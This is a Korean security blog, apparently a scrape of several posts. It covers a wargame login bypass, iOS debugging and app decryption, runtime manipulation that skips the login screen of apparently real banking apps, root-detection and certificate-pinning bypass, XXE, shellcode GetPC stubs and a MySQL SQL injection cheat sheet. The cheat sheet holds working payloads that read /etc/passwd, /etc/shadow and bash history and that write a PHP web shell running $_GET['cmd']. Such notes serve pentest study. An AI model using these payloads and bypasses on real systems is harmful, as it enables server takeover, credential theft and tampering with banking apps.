전체보기






login filtering 문제는 쿼리후 PHP 비교구문에 의해 필터링 되는 것을 우회하는 문제이다. 처음에는 mysql char field 최대값 65535 


오버플로우 취약점을 이용한 문제인 줄 알았으나 점수에 비해 너무 깊게 생각했다. 


해당 문제는 "php 구문은 비교시 대소문자 구분한다는 것", "mysql 은 비교시 대소문자를 구분하지 않는다는 것" 이 2가지로 풀 수


있는 문제였다. id = gueST 등으로 입력하면 쿼리 결과는 참이되어 gueST가 리턴되지만 gueST == guest 는 거짓이 되어 패스워드가


출력된다.




'wargame > wargame.kr' 카테고리의 다른 글

wargame.kr - Crypto Crackme Basic  (0) 2017.10.24
wargame.kr - web chatting (650p)  (0) 2017.09.13
wargame.kr - Simpleboard(600)  (0) 2017.09.12
wargame.kr - Easy CrackMe(500p)  (1) 2016.01.11
wargame.kr - fly to the moon(500p)  (0) 2016.01.07

iOS App Debugging - LLDB

2015. 8. 18. 14:55


LLDB 를 이용한 리모트 디버깅 간략 정리


출처 원문 : http://versprite.com/og/ios-reverse-engineering-part-one-configuring-lldb/


iOS 8.4 버전으로 넘어오면서 현재 GDB가 정상 동작하지 않는다.(직접 컴파일 해보진 않았다)


실행은 되지만 디버깅 시 뭔가 오류가 발생하며 제대로 동작하지 않으므로 대안으로 LLDB 를 사용할 수 있다.

(몇몇 고수들은 LLDB가 더 좋다는 사람도 있다)



        # hdiutil attach /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/

           DeviceSupport/8.0\\(12A365\)/DeveloperDiskImage.dmg


        # cp /Volumes/DeveloperDiskImage/usr/bin/debugserver /Users/hyunmini/

      

        # vi entitlements.plist


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/ PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.springboard.debugapplications</key> <true/>
    <key>run-unsigned-code</key>
    <true/>
    <key>get-task-allow</key>
    <true/>
    <key>task_for_pid-allow</key>
    <true/>
</dict>
</plist>



# codesign -s - --entitlements entitlements.plist -f debugserver


#  sftp  root@x.x.x.x  

#>  put debugserver

# exit


여기까지 debugserver 를 업로드 하는 과정이다. 이제 iOS 디바이스에서 디버그서버를 실행하고 대기 한 뒤 디버거로 붙으면 된다. 



=========================

# iOS 디바이스에서

=========================

# ps -ef | grep  [process name]      // pid 확인

# ./debugserer *:7777 --attach=[pid]     // debugserver 실행



=========================

# MAC 에서

=========================

(lldb) platform select remote-ios             // 디버깅 플랫폼 지정

(lldb) process connect connect://192.168.20.107:7777            // debugserver 에 접속



이제부터 디버깅을 시작하면 된다. 


(lldb) b objc_msgSend


(lldb) c


(lldb) register read




'iOS App Hacking' 카테고리의 다른 글

ios 앱 사용자 함수 hooking (using frida)  (2) 2017.08.16
ios app 복호화 - Clutch 2.x 버전  (0) 2017.02.14
iOS App Runtime 조작  (0) 2015.08.17
ios app hacking - (1) ios app 의 구조  (0) 2014.02.03

iOS App Runtime 조작

2015. 8. 17. 17:24


iOS 앱을 조작하는 방법에는 여러가지가 있다. 그중 cycript 를 이용한 방법에 대해 알아보자.


먼저 앱에 어떤 클래스가 있는지 어떤 메소드가 존재하는지 확인을 해야 수월한 분석이 가능하다. 하나씩 차분히 확인해 보도록 하자.




1. 클래스 분석


 바이너리 클래스 분석에는 여러가지 툴이 사용되나, 아래 세가지 정도가 주로 사용된다. 


 1) class-dump-z


 2) class-dump


 3) IDA Pro



  공통적으로 위 툴들을 사용하기 위해서는 바이너리 암호화를 먼저 풀어주어야 한다. 수동으로 복호화 할 수도 있지만 


  여기에선 clutch 를 이용한 자동 복호화를 알아 보자.  


  clutch 는 복호화 과정(메모리 덤프 - cryptid 조작)을 편리하게 자동으로 모두 해 준다.


iPhone:~ root# ./Clutch  

2015-08-17 16:16:10.789 Clutch[887:24896] checking localization cache

You're using a Clutch development build, checking for updates.. 

Your version of Clutch is up to date! 

Clutch 1.4.7 (git-2)

---------------------------------

is iOS 8 application listing method brah

is iOS 8 application listing method brah

DEBUG | Preferences.m:42 | preferences_location: /etc/clutch.conf

DEBUG | Preferences.m:43 | {

    RemoveMetadata = YES;

}

Daum maps HyundaiAppCard kbbank-ios kbminibank MiniSmartShinhan ShcTopsClub ShinhanCard SHRNDCard SHSmartPay YelloJihachul  


 옵션없이 실행하면 위와 같이 현재 설치된 앱들 목록이 출력된다. 해당 앱을 선택하면 간단히 크랙(복호화)된다. 


gimmanbog-ui-iPhone:~ root# ./Clutch ****bank


Clutch 1.4.7 (git-2)

---------------------------------

is iOS 8 application listing method brah

DEBUG | Preferences.m:42 | preferences_location: /etc/clutch.conf

DEBUG | Preferences.m:43 | {

    RemoveMetadata = YES;

}

DEBUG | main.m:609 | app to crack {

    ApplicationBasename = "kbminibank.app";

    ApplicationBundleID = "com.kbstar.minibank";

    ApplicationContainer = "/var/mobile/Containers/Bundle/Application/B8D46E0B-28D6-482F-8A23-C610A127DF90/";

    ApplicationDirectory = "kbminibank.app";

    ApplicationDisplayName = "\Uc2a4\Ud0c0\Ubc45\Ud0b9\Ubbf8\Ub2c8";

    ApplicationExecutableName = kbminibank;

    ApplicationName = kbminibank;

    ApplicationVersion = "1.0.5.1";

    MinimumOSVersion = "5.1.1";

    PlugIn = 0;

    RealUniqueID = "B8D46E0B-28D6-482F-8A23-C610A127DF90";

}

     

                                    ...(중략)...


DEBUG | Binary.m:1291 | 32-bit Region Size: 16384 5242880

DEBUG | Binary.m:1291 | 32-bit Region Size: 5242880 5242880

dumping binary: performing dump 

dumping binary: patched cryptid 

 [====================================================>] 100%

 dumping binary: writing new checksum 


                                     ...(중략)...


DEBUG | Cracker.m:326 | Saved cracked app info!

/User/Documents/Cracked/**뱅킹미니-v1.0.5.1-no-name-cracker-(Clutch-1.4.7).ipa

elapsed time: 7.26s 


Applications cracked:

 

****bank


Total success: 1   Total failed: 0  



2. Cycript 연결


 cycript 연결은 단순히 PID 값만 옵션으로 주면 된다.  ps -ef 를 이용하여 확인한 PID 를 넣어 주도록 하자.


# ps -ef


                ...  

    0   865     1   0   0:00.00 ??         0:00.03 /System/Library/PrivateFrameworks/CoreSymbolication.framework/c

    0   881     1   0   0:00.00 ??         0:00.28 sshd: root@ttys001 

  501   892     1   0   0:00.00 ??         0:00.97 /var/mobile/Containers/Bundle/Application/240AD9E1-8F55-4A99-9E

              ...  


immanbog-ui-iPhone:~ root# cycript -p 892

cy#


cy# UIApp.delegate

#"<RnDCardAppDelegate: 0x17e7ee70>"


cy# var m = [[MainViewController alloc ] init ]            // 변수 m 에 메인 뷰 할당

#"<MainViewController: 0x17df3530>"


cy# UIApp.keyWindow.rootViewController = m        // 현재 뷰를 강제로 메인 뷰로 바꿈

#"<MainViewController: 0x17df3530>"


 => 로그인 절차 등을 우회하여 메인 뷰 강제 이동 가능. 다만 로그인이 되지 않은 상태로 강제 이동이므로 사용에 제한이 있을 수 있음




cy# var m = [[LoginViewController alloc ] init ]        // 로그인 뷰 할당

#"<LoginViewController: 0x17db21b0>"


cy# UIApp.keyWindow.rootViewController = m     // 현재 뷰를 로그인 뷰로 바꿈 

#"<LoginViewController: 0x17db21b0>"


 => 루팅, 무결성 탐지창이 뜨고 화면이 멈춘 상태에서 cycript 를 이용하여 강제로 로그인 화면으로 전환


cy# app.keyWindow.recursiveDescription   // 관련 윈도우 등 출력



안드로이드 루팅 탐지 우회






안드로이드 앱중 보안성을 중요시 하는 일부 앱들의 경우 루팅 및 무결성을 탐지하여 사용을 제한하고 있다. 


이러한 경우 탐지 기법에 따라 몇가지 우회 방법들이 존재한다. 이에 대해 간략히 정리해 본다.





1. 루팅우회



1.1. 루팅 탐지 기법


 직접 탐지하기도 하지만, 대부분 솔루션(주로 백신 모듈)을 통해서 수행한다. 매우 다양한 방법이 존재한다. 



 1) su 바이너리 탐지   


   - 목록 확인 


/system/bin/su /system/xbin/su /sbin/su /system/su /system/bin/.ext/.su /system/usr/su-backup /system/xbin/mu

  

   - File Search API 를 통해 탐색




 2) 프로세스 리스트 탐지

  

  - ps 명령 혹은 내부 명령 구현을 통해 프로세스 목록 확인




 3) 설치된 패키지 목록 탐지


   - /system/app 폴더에 존재하는 apk 파일 확인 


private static boolean checkRoot() {
        String[] paths = { "/system/app/Superuser.apk", "/system/app/su.apk", "/system/app/Spapasu.apk", etc... };
        for (String path : paths) {
            if (new File(path).exists()) return true;
        }
        return false; }

 

      

   - 패키지 목록 확인 

 $ pm list packages | grep root


 pm list packages | grep root

 package:com.devadvance.rootcloak

 package:com.devadvance.rootcloakplus

 package:com.jrummy.root.browserfree

 package:com.geohot.towelroot




   4) 루팅 카운트 탐지




   5) busybox 및 관련 명령어 탐지




   6) build.tags 확인

 

# cat /system/build.prop | grep ro.build.tags
ro.build.tags=release-keys



   7) 폴더 권한 확인


   루팅 후에는 편의를 위해 쓰기 권한을 추가해서 remount 하고 write 권한을 주는 경우가 있다. 


   다양한 디렉토리들의 쓰기 권한 검증을 수행할 수 있다.

  

/

/data /system /system/bin /system/sbin /system/xbin /vendor/bin /sys /sbin /etc ...


  


 1.2. 루팅 탐지 기법 우회

 

 루팅 탐지를 어떤 방식으로 하는지에 대한 분석이 완료되면 우회는 간단하다. 탐지하는 파일 혹은 폴더 등을 숨기거나 변경하는 방법,


 결과값을 받아온 후 조건에 따른 앱 내부 분기문 코드를 조작하여 리패키징 하는 방법, 후킹을 통해 API 를 조작하는 방법 등이 있다.



 1) 파일 혹은 폴더 변경 




 2) smail 코드 패칭  




 3) 후킹






보안 공부를 하는 사람들이라면 Burp Proxy 툴은 대부분 잘 알고 있을 것이다. 




Burp 는 자동으로 SSL이 적용된 사이트에서도 MITM 을 자동으로 수행해 주어 트래픽을 수정할 수 있게 해 준다.


하지만 간혹 google 및 일부 금융 사이트들에서는 안 되는 경우가 있다.(SSL과 PKI의 개념까지 설명하면 너무 길어지니 굳이 개념을 설명하진 않겠다.) 



간단히 말해서 MITM을 하므로 브라우저는 신뢰할 수 없는 인증서로 인식하여 빨갛게 표시해 주게 된다. 브라우저가 가지고 있는 신뢰할 수 있는 루트 기관 목록이 아니기 때문이다.





이러한 경우에는 Burp 인증서를 브라우저에 신뢰인증기관 인증서로 등록해 주면 된다. 


http://burp/ 로 접속해 보면 CA인증서를 다운로드 받을 수 있다. 혹은  http://burp/cert 를 입력하면 바로 다운로드 할 수 있다.




   인증서를 저장 한 뒤 설치하면 된다.




이렇게 다운받은 인증서를 신뢰할 수 있는 루트 인증 기관으로 설치를 마치고 나면 아래와 같이 정상적인 


SSL사이트로 보이는 것을 확인 할 수 있다. 이제 프록시로 접속이 안되던 일부 SSL사이트도 기존 HTTP와 마찬가지로 


수정이 가능하다~



'Web Hacking' 카테고리의 다른 글

php 의 연산자 취약점  (1) 2016.07.28
PHP "==" 연산자 취약점  (1) 2016.01.12
XXE(Xml eXternal Entity) Attack  (1) 2015.02.27
SQL Injection Cheat Sheet - MySQL  (1) 2014.09.25
MySQL 4.0 환경에서의 SQL Injection  (0) 2014.09.24
안녕하세요. NULL@ROOT 의 hyunmini 입니다.

언더그라운드 해커그룹 NULL@ROOT 에서 2015년 신입회원을 모집합니다.

실력과 열정이 있으신 분들의 많은 지원 바랍니다.

자세한 정보는 아래 링크 참고 바랍니다.

감사합니다.






XXE(Xml eXternal Entity) Attack

2015. 2. 27. 01:21


시간내서 정리 해야지 해야지 하다가 최근 모의해킹에 사용할 일이 생겨서 정리해 둔다.


1) 공격 대상 및 소스





 간단하게 XML 로 입력을 받아서 파싱한 후 출력해주는 페이지이다. 실제로도 생각보다 현업에도 종종 있다. 


 물론 저렇게 직접 입력을 받는 것은 아니고 파라미터로 입력받은 문자들을 XML로 주고 받는 형식이 대부분이다.




1) 공격 가능성 확인






<?xml version="1.0"?>

  <!DOCTYPE root

  [

     <!ENTITY foo SYSTEM "http://192.168.0.8/ping">

  ]>

  <test><testing>&foo;</testing></test>



결과

root@kali:/var/log/apache2# tail -f access.log 

192.168.0.8 - - [26/Feb/2015:23:47:17 +0900] "GET /ping HTTP/1.0" 404 482 "-" "-"

192.168.230.2 - - [26/Feb/2015:23:47:17 +0900] "GET /xml2.php HTTP/1.1" 200 388 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36"


로그가 찍히는 것으로 보아 정상적으로 서버에 결과값이 전송됨을 알 수 있다.




제목은 커널 리버싱이지만, 단순히 툴 소개이다.(-.-;;) 애플리케이션 분석을 하다가도 커널에서 관리하는 구조체 등을


분석해야 하는 일이 자주 생긴다. 해서 이런 저런 자료들을 찾다보니 편리한 툴을 하나 찾았다. 


Symbol Type Viewer 인데, 분석할 파일만 넣어주면 자동으로 Microsoft 심볼 서버와 연동해서 구조체들을 보여준다.


ntdll.dll. kernel32.dll 등의 파일의 구조체 정보가 유용하다. 


아래 그림은 ntdll.dll 을 열어 본 화면이다.





.idc 로 export 해서 IDA Pro 에서 분석 정보로 활용할 수도 있다.



설명 끝~


모바일에만 해당되는 것은 아니지만 최근 HTTPS 사이트 몇군데에서 프록시 툴을 차단하는 경우가 있다.


프록시 툴은 MITM 을 수행하여 자신을 클라이언트로 HTTPS 로 연결한 뒤 클라이언트와 중계해 주는 방식으로 HTTPS 패킷을 


볼 수 있게 해준다. 이러한 프록시를 차단하기 위한 한가지 방법으로 소개된 Certificate Pinning 은 클라이언트 상에서 CA를 검증


하여 자신이 접근해야 할 사이트가 아니면 차단하는 방법으로 구현되어 있다. 


 여기서 가장 큰 문제점은 클라이언트 상에서 구현이 된다는 것이다. 리버싱을 통해 얼마든지 우회가 가능하다는 말이기 때문이다.


방법은 몇가지가 있다.



1) 클라이언트 리버싱 + 코드패칭 

 - 코드 분석 후 리버싱, 리패키징


2) 후킹을 통한 우회

 - 주로 사용되는 통신 API 후킹, 오버라이드

 - iOS /  NSStream, CFStream, NSURLConnection

 - Android / HttpsURLConnection



1번은 코드에 따라 다르니 알아서 우회하면 되고, 2번은 자동화 툴이 공개되어 있다.


- iOS / iOS SSL Kill Switch / https://github.com/iSECPartners/ios-ssl-kill-switch

- Andoid / Android SSL Bypass Tool / https://github.com/iSECPartners/android-ssl-bypass


상세 분석은 다음에~




쉘코드 인코더를 직접 구현해 보던 중 현재 실행 코드 주소를 알아내는 테크닉이 필요해서 정리해 둔다. 


인코더를 구현하기 위해서는 현재 실행중인 코드 주소를 알아내야 한다. 아래처럼 디코더가 인코딩된 쉘코드의 주소값을 알아야


하기 때문이다.



| 디코더 | 인코딩된 쉘코드 | 

    |        ^

     -----l






여기서 실행코드 주소란 바로 위에 표시된 주소를 구하는 방법인데, 이미 잘 알려진 몇가지 방법이 있다. 또한 이 


방법들은 메타스플로잇 msfencode 의 여러 인코더들이 사용중인 방법들이다. 



1) call + 5


 e8 00 00 00 00      call 0x5

 58                        pop eax


call 명령이 실행되면 스택에 돌아올 주소를 push 한 뒤 해당 주소로 점프하게 되는데, 0x5로 점프하게 되면 바로 


다음줄 명령으로 점프하게 되고, 스택에 저장된 코드주소를 pop 으로 꺼내는 원리이다. 아래 그림을 보면 실행 후 


eax 에 코드 주소가 저장되어 있는 것을 볼 수 있다.





2) call + 4


 e8 ff ff ff ff          call 0x4

 c2                      ret

 59                      pop ecx


이전과 비슷하지만, call + 4를 하기 때문에 자기 자신( ff 의 끝) 으로 점프하게 된다.(아래 그림) 점프 한 뒤에는 ff c2 가 RET가 


아닌 INC EDX 로 해석되고, 바로 뒤의 pop 을 통해 스택에 저장되어 있는 코드 주소를 가져와서 ecx 레지스터에 저장해 준다.



                                                                              call 명령 전


                                                                      call 명령 후 재 해석 된 명령어




3) FPU 명령어 이용(fstenv)


 d9 ee                    fldz

 d9 74 24 f4           fnstenv [esp-0xc]

 58                        pop eax


위의 기본적인  fldz, fnstenv 등의 fpu 관련 명령어를 이용할 수도 있다. 부동소수점 관련 연산 명령어들인데, 위의 두 방법보다 더


깔끔하고 안정적인 방법인 듯 하다. 가장 많이 쓰이는 msfencode 인코더 중 하나인 shikata_ga_nai 도 이 방법으로 구현되어 있다. 


fnstenv 명령이 실행되면 스택에 fldz 명령 주소값이 들어간다. 그림을 보면 fldz 명령 주소인 0x401000 이 들어가 있음을 알 수 있다.




4) backword call


 eb 03                jmp short 0x5    (1)

 5e                    pop esi     (3)

 ff e6                 jmp esi     (4)

 e8 f8 ff ff ff       call -7      (2)

 shellcode(아래 그림 nop 부분)

    ...


마찬가지로 call 을 하면 다음 명령어 주소가 스택에 저장되는 것을 이용한 것으로, 이 또한 많이 사용되는 방법 중 하나이다. 다만 


역방향 call 을 한다는 것만 다르다. 




이 외에도 몇가지 방법이 더 있으나..이정도면 충분한 듯 하다. 이 getpc 코드들은 일반적으로 인코더의 첫 부분에 들어가는데,


동일한 코드를 사용하면 단순 패턴 탐지만으로도 백신, IDS 등에 탐지될 수 있으므로 레지스터, 명령어 순서 변경, 쓰레기 명령


삽입 등으로 다형성을 추가할 수 있다. 이 부분은 다음 블로깅에서 이어 가도록 하겠다.







Windows Heap Internals

2014. 12. 17. 17:22


힙 메모리에 대해 정리...끝나면 깔끔하게 문서로 작성해서 공유 할 예정입니다.





===========================================================================



메모리 커럽션 류의 취약점은 스택 기반 취약점과 힙 기반 취약점이 존재한다. 스택기반 취약점은 정리가 잘 되어있는 반면 힙 기반

Exploitation 기술과 배경 지식들은 자료가 부족한 편이다. 이에 나 또한 힙 메모리에 대한 기존 지식 정리와 함께 이 기회에 조금 더 자세

히 공부해 보려고 한다.



ㅁ 윈도우 힙 메모리 관리 메커니즘

- 힙 메모리 관리 메커니즘은 버전이 올라가며 조금씩 바뀌어 왔으며 Vista 를 기준으로 관리 메커니즘이 아래와 같이 변경되었다.

                               Front-end Heap Management                   Back-end Heap Management
Windows XP                      LookAside List

Windows 7                  Low Fragmentation Heap                            ListHint,  Freelist 


- 응용프로그램이 메모리를 요청하면 Frontend 인 LFH 에 의하여 "이미 해제된 메모리 블럭 리스트" 중에서 반환을 해 준다. 단편화를 줄이기 위해(low fragmentation) 


  요청한 메모리 크기를 만족시키는 가장 작은 메모리블럭을 반환해준다. 또한 최근에 해제된 메모리를 반환해 주는 경향이 있다. 만약 Frontend 가 처리할 수 없는 


  크기의 요청이 들어오면 Back-end 단에 요청을 해서 새롭게 메모리를 할당받는 구조이다.




ㅁ Use-After-Free 의 공격 원리


- ex) 32 byte 의 객체가 free 되었을때, free 된 객체와 비슷한 사이즈로 객체를 할당받으면 LFH 에 의해 최근에 반환된 메모리 블럭(주소)를 할당받게 되어 덮어쓸 수 있다.


        이렇게 되면 VTable 을 변조할 수 있게 되어 (Fake VTable) 이를 이용하여 임의의 쉘코드를 실행시킨다. 










http://decompiler.fit.vutbr.cz


온라인으로 제공되는 디컴파일러 입니다. 상당히 유용하네요.


Arm , MIPS, 심지어 PowerPC 도 지원됩니다. 



해보니 헥스레이처럼 간지(?)가 나진 않지만...무료이고 다양한 플랫폼을 지원하므로 급할때 유용합니다.



NTFS 분석 툴 - Disk Editor

2014. 10. 28. 20:40


포렌식 문제 풀이를 하다가 쓸만한 툴을 발견했다.


010 에디터나 WinHEX, HxD 등의 에디터를 사용해도 상관없지만 이 툴의 경우 파일을 골라서 오픈한 뒤 템플릿을 이용할 수 있어서


편리하다. 


Active Disk Editor 5.0





SQL Injection 맨날 하면서도 맨날 까먹어서 치트시트 검색하곤 했는데 그냥 직접 만들어 놓고 보기로 했다. 


시작은 MySQL !! 







### SQL Injection Cheat Sheet - MySQL ###



             v0.1 

by hyunmini

last updated 2014.09.25





  # 테스트 순서


 1. 취약여부 확인 및 공격 기법 선택  


  1) Basic Injection               // 취약점 테스트


    ex)  no=1 and 1=1#



  2) Error Based Injection     // 데이터베이스 가져오기 가장 편함

    

    ex) no=-1'  (에러 메시지 출력 유무 확인)



  3) Union Injection               // 쿼리 하나당 결과 하나이상 가져올 수 있음 


    ex) no=-1 union select 1,2 --

          no=-1 union select 1,2,3 --

          no=-1 union select 1,2,3,4 --  ( 문자열이고 화면에 보여지는 컬럼 확인 )



  4) Blind Injection                 // 쿼리8번에 1글자씩 가져옴. 느리고 툴이 필요함


    ex) no=1 and 1=1 #

          no=1 and 1=2 #

          no=1 and substring( version(), 1,1 ) > '4' 




 2. 버전 확인


  - 4.0 이하와 4.1 이상 버전의 공격기법에 차이가 있음(4.0 이하는 subquery 불가 및  information_schema 미존재)

   ex) version(),  @@version 등 



 3. 테이블명 추출


  ex)  ' and 1,2,3, (select table_name from information_schema.tables limit 0,1),4 --

   output => userinfo



 4. 필드명 추출


  ex) ' and 1,2,3, (select column_name from information_schama.columns limit 0,1), 4 --

   output => uid


 

5. 데이터 추출


  ex) ' and 1,2,3, (select uid from userinfo limit 0,1), 4 --

   output => admin

 


 6. 접속 유저 및 파일 권한 확인


 7. OS Interaction 공격 시도

 

 - load_file('/etc/passwd')  ->  계정 및 홈폴더 등 확인

 - load_file('/etc/shadow')  - >  shadow 크랙 ->  크랙된 계정으로 서버 접근 시도

 - load_file('/root/.bash_history')  ->  명령어 확인, 간혹 mysql -U[user] -P[password]  등의 정보도 확인 가능

 - load_file('/.rhosts') -> 신뢰호스트 및 계정 확인, 서버 접근 시도

 - load_file('/etc/apache2/apache2.conf') ->  document root 폴더 확인, 기타 서비스 확인 등


 - select '<? system("$_GET['cmd']"); ?>' into outfile '/var/www/shell.php'   ->  www.vul.com/shell.php?cmd=id

 




 # Basic Injection

 

 1. String 


 ' and 1=1--

 ' or 'a'='a

 '='

 ' and 'c'='c

 ' and 1# 

 ' or '1

 ' or 1--+

 " or ""="

 "="

 '='

 '=0#


 2. Numeric 


 and 1=1#

 and 1

 and true = 1-- 

 and 1*1

 and 3-2

 =0




  # Comment


  #

  --

  /*  */ 

  -- 

  ;

  ; %00

  ` 




  # Error Based Injection

 mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a;

 

 -> ERROR 1062 (23000): Duplicate entry '5.1.63-0ubuntu0.10.04.11' for key 'group_key' 



 ' union (select count(*),concat('result: ',database(),' :',floor(rand(0)*2))as b from information_schema.tables group by b)#


  -> ERROR 1062 (23000): Duplicate entry 'result: 
test :1' for key 'group_key'




  # Union Injection

 

 1) 컬럼수 확인 


 ' union 1 --

 ' union 1,2 --

 ' union 1,2,3 --



 2) 문자필드 및 출력필드 확인


 ' union 1,2,'a',4,5 -- 

 ' union 1,2,3,'a',5 --



 3) Union 인젝션

 -1' union select 1,2,3,version(),0 #                // 4.0 이하

 -1' union select 1,2,3,(select version()),0 #   // 서브쿼리는 4.1 이상만 가능

 -1' union select 1,2,3,user from mysql.user #      // 4.0 이하에서 서브쿼리 대신 사용 가능





  # BlindSQL Injection 

 

 ' and 1=1 #   // True  

 ' and 1=2 #   // False

 ' or 1=1 --

 ' or 1=2 --

 ' and 'c' between 'a' and 'z' #


 ' and substring( (select table_name from information_schema.tables limit 0,1),1,1 ) > 'a'




  # Insert Injection

  b', 'c','d')--

  b', 'c','d')('a','b','c','d')#


 b', 'c','d')( user(), version(), 'c','d') #




  # False Injection

  a'=0 # 

  a'=1=1 #      //  True, 결과값 없음 

  a'=1=0 #      //  False, 논리적으로 1=1과 같음 => 모든 데이터 출력

  a'=1=1=1=0 #

  a'=1=1=1=1<>1 #

  no=1<>0

no=1<>1

no=1<0

no=1<1

no=1*1

no=1*0

no=1%0

no=1%1

no=1 div 0

no=1 div 1

no=1 regexp 0

no=1 regexp 1

no=1^0

no=1^1

   ...

  ex) False Injection 로그인 우회
        id='='
        id=1'='0
        id=1'^'1 
        id=1'-'1

  ex) False Blind Injection ( 아래 예제는 버전이 5.0 인 경우 )

        no=1=(if( substr(version(),1,1)='5' ,1 ,0 ))=0 #    // 1=0(False) , 데이터 출력

        no=1=(if( substr(version(),1,1)='4' ,1 ,0 ))=0 #    // 0=0(True) , 결과 없음





  # Basic Information

 select @@version       // 버전 

 select version()          // 버전

 select user()

 select system_user()



  # MySQL Function


 1. string

 

  mid()

  left()

  right()

  concat('a','b','c') = 'abc'


 2. 



# File I/O


 

# Filter Bypass



# Outbound



# 팁

 - load_file()을 이용한 서버 정보 추출

 - into outfile, dumpfile 을 이용한 웹쉘 생성



MySQL 4.0 이하 버전에서는 information_schema 가 없다. 즉 테이블, 필드명을 알 수 없다는 것이다. 


하지만 모의해킹을 위해서는 알아내야만 한다. 해결 방법은 여러가지가 있다.


1) 추측(brute forcing)

    search_value=-1' union select 'abcde',1,2 from mail# 

     => java.lang.Exception: General error,  message from server: "Table 'cleandb.mail' doesn't exist"


2) 소스코드 열람(union 혹은 blind, error based 등 모두 가능)

    -1' union select load_file('/etc/passwd'),2,3#

    => 계정 및 홈폴더 파악

    -1' union select load_file('/var/www/htm/member.php'),2,3#

    => 소스코드 열람 및 쿼리문을 보고 테이블명 확인


3) MySQL 로그파일 열람

    -1' union select load_file('/var/log/mysql/log/error.log'),2,3#


4) 웹쉘 업로드

    -1' union select '<? system($_GET['cmd']); ?>',0,0 into outfile '/var/www/html/shell.php'# (혹은 dumpfile)




최근 8월 한달간 인터넷진흥원에서 실시한 ActiveX 취약점 집중 점검에 나도 참가했다.


물론 2012년부터 있던 취약점 신고포상 제도 였으나 집중이라는 단어로 인하여 이상한 홍보(?) 효과가 있던 것 같다.

(나도 마찬가지지만 -_-ㅋ)


어쨌든 2주 정도 집중해서 찾은 결과...대략 12개 정도의 제로데이를 찾아서 제보했다.












 



아직 패치가 되지 않았으니 공개할 순 없으나 향후 패치가 되고 나면 하나씩 분석 문서를 올리도록 하겠다.  



[ 2015.1. 추가 ] 


포상완료 후기


8월에 실시했고, 실제 입금은 9~10월 평가를 거쳐 10월 말 정도에 이루어 졌다. 총 접수된 건수가 100여건이고 실제 포상은 


80건 정도가 됐다고 한다. 금액은 최대 500만이라곤 했으나 건당으로 그렇게 많이 주진 않았다. 총 12건 정도의 제보 중 3건은 타인이


먼저 제보해서 제외되었고 나머지 9건에 대해서 포상을 받았다.


그래도 충분한 용돈벌이 정도는 됐다. -_-ㅋ 


결론 : 앞으로 취약점 제보는 키사에..



BOF 원정대 풀이(전체)

2014. 5. 7. 01:30


풀이 하면서 간략히 정리해둔 것입니다. 상세설명은 내마음대로 하고싶은 문제만 정리 (-_-ㅋ)






# bof 원정대 풀이



[BOF-BufferOverflow- 원정대란?]

비교적 쉬운 BOF 공략 환경인 Redhat 6.2에서부터 궁극의 Fedora 14까지

수십개의 레벨을 거쳐가며 BOF 시스템 해킹 실습을 하는 War-Game입니다.


[접속 방법]

BOF 원정대는 도메인이나 IP가 아닌, vmware 이미지 형태로 제공합니다.

따라서 각자의 PC에 워게임 서버를 가동하신 후 접속해 풀어나가는 방식입니다.


[다운로드]

1. 다음 Vmware 이미지를 다운받아 부팅한다.

http://work.hackerschool.org/DOWNLOAD/TheLordOfTheBOF/TheLordOfTheBOF_redhat.zip

2. gate/gate로 로그인한다.

3. netconfig 명령으로 네트워크 설정을 한다. (setuid 걸어 놨습니다)

4. ip를 확인한다. (/sbin/ifconfig)

5. putty, xshell등으로 터미널 접속하여 문제 풀이를 시작한다. (telnet)


[기본 룰]

1. single boot 금지

2. root exploit 금지

3. /bin/my-pass 명령에 LD_PRELOAD 사용 금지


[레벨업 패스워드 확인]

/bin/my-pass


[전용 게시판]

http://www.hackerschool.org/HS_Boards/zboard.php?id=bof_fellowship


[몹 리스트]

LEVEL1  (gate -> gremlin) :  simple bof

LEVEL2  (gremlin -> cobolt) : small buffer # hello bof world

LEVEL3  (cobolt -> goblin) : small buffer + stdin

LEVEL4  (goblin -> orc) : egghunter

LEVEL5  (orc -> wolfman) : egghunter + bufferhunter

LEVEL6  (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter

LEVEL7  (darkelf -> orge) : check argv[0]

LEVEL8  (orge -> troll) : check argc

LEVEL9  (troll -> vampire) : check 0xbfff

LEVEL10 (vampire -> skeleton) : argv hunter

LEVEL11 (skeleton -> golem) : stack destroyer

LEVEL12 (golem -> darkknight) : sfp

LEVEL13 (darkknight -> bugbear) : RTL1

LEVEL14 (bugbear -> giant) : RTL2, only execve

LEVEL15 (giant -> assassin) : no stack, no RTL

LEVEL16 (assassin -> zombie_assassin) : fake ebp

LEVEL17 (zombie_assassin -> succubus) : function calls

LEVEL18 (succubus -> nightmare) : plt

LEVEL19 (nightmare -> xavis) : fgets + destroyers

LEVEL20 (xavis -> death_knight) : remote BOF




level1  - simple bof

그냥 buf 크기만큼 a 채우고 sfp 4 바이트 채우고 ret 에 egg shell 주소 넣으면 끝


level2 - small bof





LEVEL3  (cobolt -> goblin) : small buffer + stdin



LEVEL4  (goblin -> orc) : egghunter




LEVEL5  (orc -> wolfman) : egghunter + bufferhunter]



LEVEL6  (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter




LEVEL7  (darkelf -> orge) : check argv[0]




LEVEL8  (orge -> troll) : check argc



LEVEL9  (troll -> vampire) : check 0xbfff


LEVEL10 (vampire -> skeleton) : argv hunter




LEVEL11 (skeleton -> golem) : stack destroyer





LEVEL12 (golem -> darkknight) : sfp






LEVEL13 (darkknight -> bugbear) : RTL1






LEVEL14 (bugbear -> giant) : RTL2, only execve




LEVEL15 (giant -> assassin) : no stack, no RTL








# LD_PRELOAD 를 이용한 후킹 



# LD_PRELOAD


프로세스 실행 과정 중 라이브러리를 로딩 할때, LD_PRELOAD 변수가 설정되어 있으면 해당 변수에 지정된

라이브러리를 먼저 로딩하고, 이중 libc 함수명과 동일한 함수가 있다면 해당 함수를 먼저 호출해 준다.

즉, 자동으로 후킹을 수행하도록 해준다는 말과 같다.

참고 - OS 별 PRELOAD 환경변수


Linux : LD_PRELOAD 

AIX : LDR_PRELOAD

